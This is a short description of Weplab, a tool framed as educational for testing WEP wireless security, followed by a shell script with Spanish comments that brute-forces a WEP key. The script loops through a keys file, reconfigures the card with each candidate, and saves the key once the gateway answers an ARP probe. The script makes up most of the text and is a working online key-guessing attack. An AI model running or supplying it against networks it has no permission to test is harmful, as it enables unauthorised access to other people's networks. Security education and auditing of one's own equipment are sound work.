Weplab is a tool to review the security of WEP encryption in wireless networks from an educational point of view. Several attacks are available so it can be measured the efectiveness and minimun requirements of each one.

#!/bin/sh

#
# ENTRADAS:
#
#
# $1 : Essid
# $2 : Channel
# $3 : keys.txt
#

if [ $# -lt 3 ]; then
echo "$0 ' [Essid] [Chan] [keys]'"
exit 1
fi

wl up
wl wep 1
wl ssid $1
wl channel $2
wl rate 11
wl status


echo -n " * Esperando conexion: "
while [ "$(wl assoc 2> /dev/null | cut -c0)" = "N" ]; do
echo -n "."
sleep 1;
done
echo " OK"

ifconfig eth2 192.168.1.254

count=0

for i in `cat $3`; do
wl wep 0
wl rmwep 0
wl addwep 0  $i
wl wep 1
echo KEY : $i

while [ "$(wl assoc 2> /dev/null | cut -c0)" = "N" ]; do
echo -en "\r * Conexion perdida, esperando..."
sleep 1;
done


   while [ "$(arping -I eth2 -c1 -w0 192.168.1.1 | tail -3 | head -1 | cut -c0 )" = "U" ]; do
   echo "Clave encontrada: $i"
   echo $i > key_${1}.txt
   exit ;
   done

   count=$((count+1))
   echo  "* Claves probadas: $count"
done